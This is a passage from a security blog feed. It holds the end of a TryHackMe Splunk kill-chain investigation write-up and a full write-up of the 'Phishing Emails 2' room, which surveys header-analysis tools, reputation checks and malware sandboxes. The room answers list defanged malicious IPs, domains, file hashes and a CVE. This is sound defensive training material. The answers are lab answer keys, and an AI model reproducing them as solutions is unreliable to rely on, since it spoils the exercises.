<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/6ef05247bb5c92e91d0a2894f219758a.png" alt="" style="display:block;margin:0 auto" />

<p>Scroll down, and you will get a lot of information about this Malware.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e8dd9a4a45e18443162feab/room-content/7a714d6ca3a44c0c570c45cb2711b660.png" alt="" style="display:block;margin:0 auto" />

<p>Reference**:** <a href="https://www.hybrid-analysis.com/sample/9709473ab351387aab9e816eff3910b9f28a7a70202e250ed46dba8f820f34a8?environmentId=100">https://www.hybrid-analysis.com/sample/9709473ab351387aab9e816eff3910b9f28a7a70202e250ed46dba8f820f34a8?environmentId=100</a></p>
<h3>Answer the questions below</h3>
<p>What is the HASH of the Malware associated with the APT group? <code>c99131e0169171935c5ac32615ed6261</code></p>
<p>What is the name of the Malware associated with the Poison Ivy Infrastructure? <code>MirandaTateScreensaver.scr.exe</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/37caf5e3-9708-4ece-a6df-c9ba11b70fb5.png" alt="" style="display:block;margin:0 auto" />

<h2>Conclusion</h2>
<p><strong>Conclusion:</strong></p>
<p>In this fun exercise, as a SOC Analyst, we have investigated a cyber-attack where the attacker had defaced a website 'imreallynotbatman.com' of the Wayne Enterprise. We mapped the attacker's activities into the 7 phases of the Cyber Kill Chain. Let us recap everything we have found so far:</p>
<p><strong>Reconnaissance Phase:</strong></p>
<p>We first looked at any reconnaissance activity from the attacker to identify the IP address and other details about the adversary.</p>
<p><strong>Findings:</strong></p>
<ul>
<li><p>IP Address <code>40.80.148.42</code> was found to be scanning our webserver.</p>
</li>
<li><p>The attacker was using Acunetix as a web scanner.</p>
</li>
</ul>
<p><strong>Exploitation Phase:</strong></p>
<p>We then looked into the traces of exploitation attempts and found brute-force attacks against our server, which were successful.</p>
<p><strong>Findings:</strong></p>
<ul>
<li><p>Brute force attack originated from IP <code>23.22.63.114.</code></p>
</li>
<li><p>The IP address used to gain access: <code>40.80.148.42</code></p>
</li>
<li><p>142 unique brute force attempts were made against the server, out of which one attempt was successful</p>
</li>
</ul>
<p><strong>Installation Phase:</strong></p>
<p>Next, we looked at the installation phase to see any executable from the attacker's IP Address uploaded to our server.</p>
<p><strong>Findings:</strong></p>
<ul>
<li><p>A malicious executable file <code>3791.exe</code> was observed to be uploaded by the attacker.</p>
</li>
<li><p>We looked at the sysmon logs and found the MD5 hash of the file.</p>
</li>
</ul>
<p><strong>Action on Objective:</strong></p>
<p>After compromising the web server, the attacker defaced the website.</p>
<p><strong>Findings:</strong></p>
<ul>
<li>We examined the logs and found the file name used to deface the webserver.</li>
</ul>
<p><strong>Weaponization Phase:</strong></p>
<p>We used various threat Intel platforms to find the attacker's infrastructure based on the following information we saw in the above activities.</p>
<p>Information we had:</p>
<p>Domain: <code>prankglassinebracket.jumpingcrab.com</code></p>
<p>IP Address:<code>23.22.63.114</code></p>
<p><strong>Findings:</strong></p>
<ul>
<li><p>Multiple masquerading domains were found associated with the attacker's IPs.</p>
</li>
<li><p>An email of the user <code>Lillian.rose@po1s0n1vy.com</code> was also found associated with the attacker's IP address.</p>
</li>
</ul>
<p><strong>Deliver Phase:</strong></p>
<p>In this phase, we again leveraged online Threat Intel sites to find malware associated with the adversary's IP address, which appeared to be a secondary attack vector if the initial compromise failed.</p>
<p><strong>Findings:</strong></p>
<ul>
<li><p>A malware name <code>MirandaTateScreensaver.scr.exe</code> was found associated with the adversary.</p>
</li>
<li><p>MD5 of the malware was <code>c99131e0169171935c5ac32615ed6261</code></p>
</li>
</ul>
<p>This room was a solid exercise in thinking like a SOC analyst rather than just running queries. The investigation didn't follow a clean linear path; a finding in the Action on Objectives phase pointed back to C2 infrastructure, and OSINT filled in the context that no log source could provide on its own. That non-linearity is what makes the Cyber Kill Chain useful as a mapping framework rather than a step-by-step process.</p>
<p>A few things stood out: the value of correlating multiple log sources (Suricata caught the CVE, stream:http exposed the brute force, Sysmon confirmed execution), the importance of host-centric logs like Sysmon EventCode=1 for proving a file was actually run, and how OSINT platforms can surface attacker infrastructure that extends well beyond what's visible inside your own network. The Poison Ivy group had pre-staged lookalike domains and a secondary malware delivery vector, none of which would have been visible from logs alone.</p>
<p>If you're working through the SOC path on TryHackMe, this room is worth slowing down on. The Splunk query-building patterns here <code>stats</code>, <code>rex,</code>field pivoting shows up constantly in real investigations.</p>
]]></content:encoded></item><item><title><![CDATA[Phishing Analysis Tools (TryHackMe)]]></title><description><![CDATA[Phishing analysis goes beyond reading email headers manually. In this room, Phishing Emails 2 on TryHackMe, the focus shifts to tooling: automating the extraction of artifacts from suspicious emails a]]></description><link>https://www.sharonjebitok.com/phishing-analysis-tools-tryhackme</link><guid isPermaLink="true">https://www.sharonjebitok.com/phishing-analysis-tools-tryhackme</guid><category><![CDATA[phishing]]></category><category><![CDATA[any.run]]></category><category><![CDATA[Virustotal]]></category><category><![CDATA[Phishing mail]]></category><category><![CDATA[tryhackme]]></category><category><![CDATA[ctfwriteup]]></category><category><![CDATA[SOC]]></category><dc:creator><![CDATA[Jebitok]]></dc:creator><pubDate>Sat, 14 Mar 2026 13:31:58 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/f2163909-7385-425b-8a9d-34e8f935af9c.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Phishing analysis goes beyond reading email headers manually. In this room, <a href="https://tryhackme.com/room/phishingemails3tryoe"><strong>Phishing Emails 2</strong></a> on TryHackMe, the focus shifts to tooling: automating the extraction of artifacts from suspicious emails and safely detonating malicious attachments in a sandbox environment to observe their behavior without exposing a live system.</p>
<p>The workflow covered spans the full analysis pipeline: collecting sender metadata from email headers, extracting and validating URLs from the email body, hashing attachments for reputation checks, and uploading payloads to a malware sandbox. Three phishing cases are worked through hands-on, each requiring identification of malicious IPs, domains, file hashes, and in one case, a specific CVE being exploited.</p>
<p>The primary sandbox used throughout the practical cases is <a href="http://Any.run"><strong>Any.run</strong></a>, an interactive malware analysis platform that exposes network connections, DNS requests, HTTP activity, and process behavior in real time, making it possible to identify C2 infrastructure and Indicators of Compromise without executing anything locally.</p>
<h2>Introduction</h2>
<p>Remember from <a href="https://tryhackme.com/room/phishingemails1tryoe">Phishing Room 1</a>; we covered how to manually sift through the email raw source code to extract information. </p>
<p>In this room, we will look at various tools that will aid us in analyzing phishing emails. We will: </p>
<ul>
<li><p>Look at tools that will aid us in examining email header information.</p>
</li>
<li><p>Cover techniques to obtain hyperlinks in emails, expand the URLs if they're URL shortened.</p>
</li>
<li><p>Look into tools to give us information about potentially malicious links without directly interacting with a malicious link.</p>
</li>
<li><p>Cover techniques to obtain malicious attachments from phishing emails and use malware sandboxes to detonate the attachments to understand further what the attachment was designed to do.</p>
</li>
</ul>
<p><strong>Warning</strong>: The samples throughout this room contain information from actual spam and/or phishing emails. Proceed with caution if you attempt to interact with any IP, domain, attachment, etc.</p>
<h2>What information should we collect?</h2>
<p>In this task, we will outline the steps performed when analyzing a suspicious or malicious email. </p>
<p>Below is a checklist of the pertinent information an analyst (you) is to collect from the email header:</p>
<ul>
<li><p>Sender email address</p>
</li>
<li><p>Sender IP address</p>
</li>
<li><p>Reverse lookup of the sender IP address</p>
</li>
<li><p>Email subject line</p>
</li>
<li><p>Recipient email address (this information might be in the CC/BCC field)</p>
</li>
<li><p>Reply-to email address (if any)</p>
</li>
<li><p>Date/time</p>
</li>
</ul>
<p>Afterward, we draw our attention to the email body and attachment(s) (if any).</p>
<p>Below is a checklist of the artifacts an analyst (you) needs to collect from the email body:</p>
<ul>
<li><p>Any URL links (if an URL shortener service was used, then we'll need to obtain the real URL link)</p>
</li>
<li><p>The name of the attachment</p>
</li>
<li><p>The hash value of the attachment (hash type MD5 or SHA256, preferably the latter)</p>
</li>
</ul>
<p><strong>Warning</strong>: Be careful not to click on any links or attachments in the email accidentally.</p>
<h2>Email header analysis</h2>
<p>Some of the pertinent information that we need to collect can be obtained visually from an email client or web client (such as Gmail, Yahoo!, etc.). But some information, such as the sender's IP address and reply-to information, can only be obtained via the email header.</p>
<p>In <a href="https://tryhackme.com/room/phishingemails1tryoe">Phishing Emails 1</a>, we saw how to obtain this information manually by sifting through an email's source code.</p>
<p>Below we'll look at some tools that will help us retrieve this information.</p>
<p>First up to bat is a tool from Google that can assist us with analyzing email headers called <strong>Messageheader</strong> from the Google Admin Toolbox. </p>
<p>Per the <a href="https://toolbox.googleapps.com/apps/main/">site</a>, "<em>Messageheader analyzes SMTP message headers, which help identify the root cause of delivery delays. You can detect misconfigured servers and mail-routing problems</em>".</p>
<p><strong>Usage</strong>: Copy and paste the entire email header and run the analysis tool. </p>
<ul>
<li><strong>Messageheader</strong>: <a href="https://toolbox.googleapps.com/apps/messageheader/analyzeheader">https://toolbox.googleapps.com/apps/messageheader/analyzeheader</a></li>
</ul>
<img src="https://assets.tryhackme.com/additional/phishing2/messageheader.png" alt="" style="display:block;margin:0 auto" />

<p>Another tool is called <strong>Message Header Analyzer</strong>. </p>
<ul>
<li><strong>Message Header Analyzer</strong>: <a href="https://mha.azurewebsites.net/">https://mha.azurewebsites.net/</a></li>
</ul>
<img src="https://assets.tryhackme.com/additional/phishing2/mha.png" alt="" style="display:block;margin:0 auto" />

<p>Lastly, you can also use <a href="http://mailheader.org">mailheader.org</a>.</p>
<img src="https://assets.tryhackme.com/additional/phishing2/mailheader.png" alt="" style="display:block;margin:0 auto" />

<p>Even though not covered in the previous Phishing rooms, a Message Transfer Agent (MTA) is software that transfers emails between sender and recipient. Read more about MTAs <a href="https://csrc.nist.gov/glossary/term/mail_transfer_agent">here</a>. Since we're on the subject, read about MUAs (Mail User Agent) <a href="https://csrc.nist.gov/glossary/term/mail_user_agent">here</a>. </p>
<p><strong>Note</strong>: The option on which tool to use rests ultimately on you. It is good to have multiple resources to refer to as each tool might reveal information that another tool may not reveal. </p>
<p>The tools below can help you analyze information about the sender's IP address:</p>
<ul>
<li><a href="http://IPinfo.io">IPinfo.io</a>: <a href="https://ipinfo.io/">https://ipinfo.io/</a></li>
</ul>
<p>Per the <a href="https://ipinfo.io/">site</a>, "<em>With IPinfo, you can pinpoint your users’ locations, customize their experiences, prevent fraud, ensure compliance, and so much more</em>".</p>
<img src="https://assets.tryhackme.com/additional/phishing2/ipinfo.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><a href="http://URLScan.io">URLScan.io</a>: <a href="https://urlscan.io/">https://urlscan.io/</a></li>
</ul>
<p>Per the <a href="https://urlscan.io/about/">site</a>, "<a href="http://urlscan.io"><em>urlscan.io</em></a> <em>is a free service to scan and analyse websites. When a URL is submitted to</em> <a href="http://urlscan.io"><em>urlscan.io</em></a><em>, an automated process will browse to the URL like a regular user and record the activity that this page navigation creates. This includes the domains and IPs contacted, the resources (JavaScript, CSS, etc) requested from those domains, as well as additional information about the page itself.</em> <a href="http://urlscan.io"><em>urlscan.io</em></a> <em>will take a screenshot of the page, record the DOM content, JavaScript global variables, cookies created by the page, and a myriad of other observations. If the site is targeting the users one of the more than 400 brands tracked by</em> <a href="http://urlscan.io"><em>urlscan.io</em></a><em>, it will be highlighted as potentially malicious in the scan results</em>".</p>
<img src="https://assets.tryhackme.com/additional/phishing2/urlscan.png" alt="" style="display:block;margin:0 auto" />

<p>Notice that <a href="http://urlscan.io">urlscan.io</a> provides a screenshot of the URL. This screenshot is provided, so you don't have to navigate to the URL in question explicitly.</p>
<p>You can use other tools that provide the same functionality and more, such as <a href="https://www.url2png.com/">URL2PNG</a> and <a href="https://www.wannabrowser.net/">Wannabrowser</a>.</p>
<ul>
<li>Talos Reputation Center: <a href="https://talosintelligence.com/reputation">https://talosintelligence.com/reputation</a></li>
</ul>
<img src="https://assets.tryhackme.com/additional/phishing2/talos.png" alt="" style="display:block;margin:0 auto" />

<h3>Answer the questions below</h3>
<p>What is the official site name of the bank that <a href="http://capitai-one.com">capitai-one.com</a> tried to resemble? <code>capitalone.com</code></p>
<h2>Email body analysis</h2>
<p>Now it's time to direct your focus to the email body. This is where the malicious payload may be delivered to the recipient either as a link or an attachment. </p>
<p>Links can be extracted manually, either directly from an HTML formatted email or by sifting through the raw email header.</p>
<p>Below is an example of obtaining a link manually from an email by right-clicking the link and choosing <strong>Copy Link Location</strong>. </p>
<img src="https://assets.tryhackme.com/additional/phishing2/copy-link.png" alt="" style="display:block;margin:0 auto" />

<p>The same can be accomplished with the assistance of a tool. One tool that can aid us with this task is URL Extractor. </p>
<ul>
<li>URL Extractor: <a href="https://www.convertcsv.com/url-extractor.htm">https://www.convertcsv.com/url-extractor.htm</a></li>
</ul>
<p>You can copy and paste the raw header into the text box for <strong>Step 1: Select your input</strong>. </p>
<img src="https://assets.tryhackme.com/additional/phishing2/url-extractor.png" alt="" style="display:block;margin:0 auto" />

<p>The extracted URLs are visible in <strong>Step 3</strong>. </p>
<img src="https://assets.tryhackme.com/additional/phishing2/url-extractor-2.png" alt="" style="display:block;margin:0 auto" />

<p>You may also use <a href="https://gchq.github.io/CyberChef/">CyberChef</a> to extract URLs with the Extract URLs recipe.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5de58e2bfac4a912bcc7a3e9/room-content/a31606afb772b8f87eebf0ff59f00fce.png" alt="" style="display:block;margin:0 auto" />

<p><strong>Tip</strong>: It's important to note the root domain for the extracted URLs. You will need to perform an analysis on the root domain as well. </p>
<p>After extracting the URLs, the next step is to check the reputation of the URLs and root domain. You can use any of the tools mentioned in the previous task to aid you with this. </p>
<p>If the email has an attachment, you'll need to obtain the attachment safely. Accomplishing this is easy in Thunderbird by using the Save button.</p>
<img src="https://assets.tryhackme.com/additional/phishing2/save-attachment.png" alt="" style="display:block;margin:0 auto" />

<p>After you have obtained the attachment, you can then get its hash. You can check the file's reputation with the hash to see if it's a known malicious document.</p>
<p>Obtain the file's SHA256 hash</p>
<pre><code class="language-shell-session">user@machine$ sha256sum Double\ Jackpot\ Slots\ Las\ Vegas.dot
c650f397a9193db6a2e1a273577d8d84c5668d03c06ba99b17e4f6617af4ee83  Double Jackpot Slots Las Vegas.dot
</code></pre>
<p>There are many tools available to help us with this, but we'll focus on two primarily; they are listed below:</p>
<ul>
<li>Talos File Reputation: <a href="https://talosintelligence.com/talos_file_reputation">https://talosintelligence.com/talos_file_reputation</a></li>
</ul>
<p>Per the <a href="https://talosintelligence.com/talos_file_reputation">site</a>, "<em>The Cisco Talos Intelligence Group maintains a reputation disposition on billions of files. This reputation system is fed into the AMP, FirePower, ClamAV, and Open-Source Snort product lines. The tool below allows you to do casual lookups against the Talos File Reputation system. This system limits you to one lookup at a time, and is limited to only hash matching. This lookup does not reflect the full capabilities of the Advanced Malware Protection (AMP) system</em>".</p>
<img src="https://assets.tryhackme.com/additional/phishing2/talos-file-rep.png" alt="" style="display:block;margin:0 auto" />

<img src="https://assets.tryhackme.com/additional/phishing2/talos-file-rep-2.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>VirusTotal: <a href="https://www.virustotal.com/gui/">https://www.virustotal.com/gui/</a></li>
</ul>
<p>Per the <a href="https://www.virustotal.com/gui/">site</a>, "Analyze suspicious files and URLs to detect types of malware, automatically share them with the security community."</p>
<img src="https://assets.tryhackme.com/additional/phishing2/virustotal.png" alt="" style="display:block;margin:0 auto" />

<img src="https://assets.tryhackme.com/additional/phishing2/virustotal-2.png" alt="" style="display:block;margin:0 auto" />

<p>Another tool/company worth mentioning is <a href="https://www.reversinglabs.com/">Reversing Labs</a>, which also has a <a href="https://register.reversinglabs.com/file_reputation">file reputation service</a>. </p>
<h3>Answer the questions below</h3>
<p>How can you manually get the location of a hyperlink? <code>Copy Link Location</code></p>
<h2>Malware Sandbox</h2>
<p>Luckily as Defenders, we don't need to have malware analysis skills to dissect and reverse engineer a malicious attachment to understand the malware better. </p>
<p>There are online tools and services where malicious files can be uploaded and analyzed to better understand what the malware was programmed to do. These services are known as malware sandboxes. </p>
<p>For instance, we can upload an attachment we obtained from a potentially malicious email and see what URLs it attempts to communicate with, what additional payloads are downloaded to the endpoint, persistence mechanisms, Indicators of Compromise (IOCs), etc. </p>
<p>Some of these online malware sandboxes are listed below.</p>
<ul>
<li><a href="http://Any.Run">Any.Run</a>: <a href="https://app.any.run/">https://app.any.run/</a></li>
</ul>
<p>Per the <a href="https://app.any.run/">site</a>, "<em>Analyze a network, file, module, and the registry activity. Interact with the OS directly from a browser. See the feedback from your actions immediately</em>".</p>
<img src="https://assets.tryhackme.com/additional/phishing2/any-run.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>Hybrid Analysis: <a href="https://www.hybrid-analysis.com/">https://www.hybrid-analysis.com/</a></li>
</ul>
<p>Per the site, <em>"This is a free malware analysis service for the community that detects and analyzes unknown threats using a unique Hybrid Analysis technology</em>."</p>
<img src="https://assets.tryhackme.com/additional/phishing2/hybrid-analysis.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><a href="https://www.joesecurity.org/">https://www.joesecurity.org/</a></li>
</ul>
<p>Per the site, "<em>Joe Sandbox empowers analysts with a large spectrum of product features. Among them: Live Interaction, URL Analysis &amp; AI based Phishing Detection, Yara and Sigma rules support, MITRE ATT&amp;CK matrix, AI based malware detection, Mail Monitor, Threat Hunting &amp; Intelligence, Automated User Behavior, Dynamic VBA/JS/JAR instrumentation, Execution Graphs, Localized Internet Anonymization and many more</em>".</p>
<img src="https://assets.tryhackme.com/additional/phishing2/joe-security.png" alt="" style="display:block;margin:0 auto" />

<p>We will interact with these services in the upcoming Phishing cases. </p>
<h2>PhishTool</h2>
<p>A tool that will help with automated phishing analysis is <a href="https://www.phishtool.com/">PhishTool</a>.</p>
<p>Yes, I saved this for last! What is PhishTool?</p>
<p>Per the site, "<em>Be you a security researcher investigating a new phish-kit, a SOC analyst responding to user reported phishing, a threat intelligence analyst collecting phishing IoCs or an investigator dealing with email-born fraud.</em></p>
<p><em>PhishTool combines threat intelligence, OSINT, email metadata and battle tested auto-analysis pathways into one powerful phishing response platform. Making you and your organisation a formidable adversary - immune to phishing campaigns that those with lesser email security capabilities fall victim to.</em>"</p>
<p><strong>Note</strong>: There is a free community edition you can download and use. :)</p>
<p>I uploaded a malicious email to PhishTool and connected VirusTotal to my account using my community edition API key. </p>
<p>Below are a few screenshots of the malicious email and the PhishTool interface. </p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5de58e2bfac4a912bcc7a3e9/room-content/0dcc25c992ddfdfc60532f6fb9416a70.png" alt="" style="display:block;margin:0 auto" />

<p>From the image above, you can see the PhishTool conveniently grabs all the pertinent information we'll need regarding the email.</p>
<ul>
<li><p>Email sender</p>
</li>
<li><p>Email recipient (in this case, a long list of CCed email addresses)</p>
</li>
<li><p>Timestamp</p>
</li>
<li><p>Originating IP and Reverse DNS lookup</p>
</li>
</ul>
<p>We can obtain information about the SMTP relays, specific X-header information, and IP info information.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5de58e2bfac4a912bcc7a3e9/room-content/9665b8957923a892e721a0e02e42ea9f.png" alt="" style="display:block;margin:0 auto" />

<p>Below is a snippet of Hop 1 of 6 (SMTP relays).</p>
<img src="https://assets.tryhackme.com/additional/phishing2/phish-smtp.png" alt="" style="display:block;margin:0 auto" />

<p>Notice that the tool notifies us that '<strong>Reply-To no present</strong>' although it provides the alternative header information, <strong>Return-Path</strong>.</p>
<p>To the right of the PhishTool dashboard, we can see the email body. There are two tabs across the top that we can toggle to view the email in text format or its HTML source code. </p>
<p>Text view:</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5de58e2bfac4a912bcc7a3e9/room-content/94366a297a0abb9b7f680e006c421b45.png" alt="" style="display:block;margin:0 auto" />

<p>HTML view:</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5de58e2bfac4a912bcc7a3e9/room-content/e5eb24859d263b8d233f52c1502aaed4.png" alt="" style="display:block;margin:0 auto" />

<p>The bottom two panes will display information about attachments and URLs.</p>
<p>The right pane will show if any URLs were found in the email. In this case, no emails were found.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5de58e2bfac4a912bcc7a3e9/room-content/a737376ca1243a926f7a41a765cb7a1e.png" alt="" style="display:block;margin:0 auto" />

<p>The left pane will show information about the attachment. This particular malicious email has a zip file.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5de58e2bfac4a912bcc7a3e9/room-content/685f9bb5291973038d55aca7c09ffd1e.png" alt="" style="display:block;margin:0 auto" />

<p>We can automatically get feedback from VirusTotal since our community edition API key is connected.</p>
<p>Here we can grab the zip file name and its hashes without manually interacting with the malicious email.</p>
<p> There is an ellipsis at the far right of the above image. If that is clicked, we are provided additional actions that we can perform with the attachment.</p>
<p>Below is a screenshot of the additional options sub-menu.</p>
<img src="https://assets.tryhackme.com/additional/phishing2/phish-options.png" alt="" style="display:block;margin:0 auto" />

<p>Let's look at the Strings output.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5de58e2bfac4a912bcc7a3e9/room-content/e1f11b62dbd9ed415177bdbc44a13d2d.png" alt="" style="display:block;margin:0 auto" />

<p>Next, let's look at the information from VirusTotal.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5de58e2bfac4a912bcc7a3e9/room-content/5c0556b15a803638a2d289915edc8946.png" alt="" style="display:block;margin:0 auto" />

<p>Since the VirusTotal API key is the free community edition, an analyst can manually navigate to VirusTotal and do a file hash search to view more information about this attachment. </p>
<p>Lastly, any submissions you upload to PhishTool, you can flag as malicious and resolve with notes. Similar to how you would if you were a SOC Analyst.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5de58e2bfac4a912bcc7a3e9/room-content/31728d39e79f36340ab8bcdd740940d6.png" alt="" style="display:block;margin:0 auto" />

<p>The attachment file name and file hashes will be marked as malicious. Next, click on <strong>Resolve</strong>.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5de58e2bfac4a912bcc7a3e9/room-content/64c5e32e65919e17e352161594fbb627.png" alt="" style="display:block;margin:0 auto" />

<p>In the next screen, an analyst can mark the email based on dropdown selections. Refer to the GIF below.</p>
<img src="https://assets.tryhackme.com/additional/phishing2/resolve-case.gif" alt="" style="display:block;margin:0 auto" />

<p><strong>Note</strong>: I didn't perform further analysis on the domain name or the IP address. Neither did I perform any research regarding the root domain the email originated from. The attachment can further be analyzed by uploading it to a malware sandbox to see what exactly it's doing, which I did not do. Hence the reason why additional Flag artifacts and Classifications codes weren't selected for this malicious email. :) </p>
<p>To expand on classification codes briefly, not all phishing emails can be categorized as the same. A classification code allows us to tag a case with a specific code, such as Whaling (high-value target). Not all phishing emails will target a high-value target, such as a Chief Financial Officer (CFO). </p>
<h3>Answer the questions below</h3>
<p>Look at the Strings output. What is the name of the EXE file? <code>#454326_PDF.exe</code></p>
<h2>Phishing Case 1</h2>
<p><strong>Scenario</strong>: You are a Level 1 SOC Analyst. Several suspicious emails have been forwarded to you from other coworkers. You must obtain details from each email for your team to implement the appropriate rules to prevent colleagues from receiving additional spam/phishing emails. </p>
<p><strong>Task</strong>: Use the tools discussed throughout this room (or use your own resources) to help you analyze each email header and email body. </p>
<hr />
<p>Deploy the machine attached to this task; it will be visible in the <strong>split-screen</strong> view once it is ready.</p>
<p>If you don't see a virtual machine load then click the <strong>Show Split View</strong> button.</p>
<img src="https://assets.tryhackme.com/additional/phishing2/p3-split-view.png" alt="" style="display:block;margin:0 auto" />

<h3>Answer the questions below</h3>
<p>What brand was this email tailored to impersonate? <code>Netflix</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/4d2c9556-b29d-49dc-a92f-0147db04dc03.png" alt="" style="display:block;margin:0 auto" />

<p>What is the From email address? <code>JGQ47wazXe1xYVBrkeDg-JOg7ODDQwWdR@JOg7ODDQwWdR-yVkCaBkTNp.gogolecloud.com</code></p>
<p>What is the originating IP?<br />Defang the IP address.  <code>209[.]85[.]167[.]226</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/2b72b125-49c1-4a70-b3b7-983345f9dcd0.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/db9a4790-a536-42cd-a70c-00a67619ae09.png" alt="" style="display:block;margin:0 auto" />

<p>From what you can gather, what do you think will be a domain of interest?<br />Defang the domain. <code>etekno[.]xyz</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/3610f2d8-0d35-4792-9852-808c7912eefa.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/dc838635-3316-4cfb-8152-f5ea5f5635eb.png" alt="" style="display:block;margin:0 auto" />

<p>What is the shortened URL?<br />Defang the URL. <code>hxxps[://]t[.]co/yuxfZm8KPg?amp==1</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/29c1a0c2-d0d0-455e-9a2b-a860c0308cd5.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/a0bc5f35-bf19-400f-a048-e77e876d99ff.png" alt="" style="display:block;margin:0 auto" />

<h2>Phishing Case 2</h2>
<p><strong>Scenario</strong>: You are a Level 1 SOC Analyst. Several suspicious emails have been forwarded to you from other coworkers. You must obtain details from each email for your team to implement the appropriate rules to prevent colleagues from receiving additional spam/phishing emails. </p>
<p>A malicious attachment from a phishing email inspected in the previous Phishing Room was uploaded to Any Run for analysis. </p>
<p><strong>Task</strong>: Investigate the analysis and answer the questions below. </p>
<p><strong>Link</strong>: <a href="https://app.any.run/tasks/8bfd4c58-ec0d-4371-bfeb-52a334b69f59">https://app.any.run/tasks/8bfd4c58-ec0d-4371-bfeb-52a334b69f59</a></p>
<h3>Answer the questions below</h3>
<p>What does AnyRun classify this email as? <code>Suspicious activity</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/4b5be642-1710-4a18-9966-f666bdce23b9.png" alt="" style="display:block;margin:0 auto" />

<p>What is the name of the PDF file? <code>Payment-updateid.pdf</code></p>
<p>What is the SHA 256 hash for the PDF file? <code>cc6f1a04b10bcb168aeec8d870b97bd7c20fc161e8310b5bce1af8ed420e2c24</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/26e32066-83ce-4aa0-9210-796772fa0b2b.png" alt="" style="display:block;margin:0 auto" />

<p>What two IP addresses are classified as malicious? Defang the IP addresses. (answer: <strong>IP_ADDR,IP_ADDR</strong>) <code>2[.]16[.]107[.]24,2[.]16[.]107[.]83</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/e211642b-5dc5-4dc7-b4b7-d39884865b2c.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/2750b7fc-fa03-4934-8953-1e777869a2a1.png" alt="" style="display:block;margin:0 auto" />

<p>What Windows process was flagged as <strong>Potentially Bad Traffic</strong>? <code>svchost.exe</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/418deba2-a952-499e-a95a-e54200ff3992.png" alt="" style="display:block;margin:0 auto" />

<h2>Phishing Case 3</h2>
<p><strong>Scenario</strong>: You are a Level 1 SOC Analyst. Several suspicious emails have been forwarded to you from other coworkers. You must obtain details from each email for your team to implement the appropriate rules to prevent colleagues from receiving additional spam/phishing emails. </p>
<p>A malicious attachment from a phishing email inspected in the previous Phishing Room was uploaded to Any Run for analysis. </p>
<p><strong>Task</strong>: Investigate the analysis and answer the questions below. </p>
<p><strong>Link</strong>: <a href="https://app.any.run/tasks/82d8adc9-38a0-4f0e-a160-48a5e09a6e83">https://app.any.run/tasks/82d8adc9-38a0-4f0e-a160-48a5e09a6e83</a></p>
<h3>Answer the questions below</h3>
<p>What is this analysis classified as? <code>Malicious activity</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/cebf62ce-7c5d-4ca9-8687-be658bb51843.png" alt="" style="display:block;margin:0 auto" />

<p>What is the name of the Excel file? <code>CBJ200620039539.xlsx</code></p>
<p>What is the SHA 256 hash for the file? <code>5f94a66e0ce78d17afc2dd27fc17b44b3ffc13ac5f42d3ad6a5dcfb36715f3eb</code></p>
<p>What domains are listed as malicious? Defang the URLs &amp; submit answers in alphabetical order. (answer: <strong>URL1,URL2,URL3</strong>) <code>biz9holdings[.]com,findresults[.]site,ww38[.]findresults[.]site</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/1eed1521-3999-4b10-9997-08da686f5c15.png" alt="" style="display:block;margin:0 auto" />

<p>What IP addresses are listed as malicious? Defang the IP addresses &amp; submit answers from lowest to highest. (answer: <strong>IP1,IP2,IP3</strong>) <code>75[.]2[.]11[.]242,103[.]224[.]182[.]251,204[.]11[.]56[.]48</code></p>
<p>What vulnerability does this malicious attachment attempt to exploit? <code>CVE-2017-11882</code></p>
<h2>Conclusion</h2>
<p>The tools covered in this room are just some that can help you with analyzing phishing emails. </p>
<p>As a defender, you'll come up with your own preferred tools and techniques to perform manual and automated analysis. </p>
<p>Here are a few other tools that we have not covered in detail within this room that deserve a shout:</p>
<ul>
<li><p><a href="https://mxtoolbox.com">https://mxtoolbox.com</a></p>
</li>
<li><p><a href="https://phishtank.com">https://phishtank.com</a></p>
</li>
<li><p><a href="https://www.spamhaus.org">https://www.spamhaus.org</a></p>
</li>
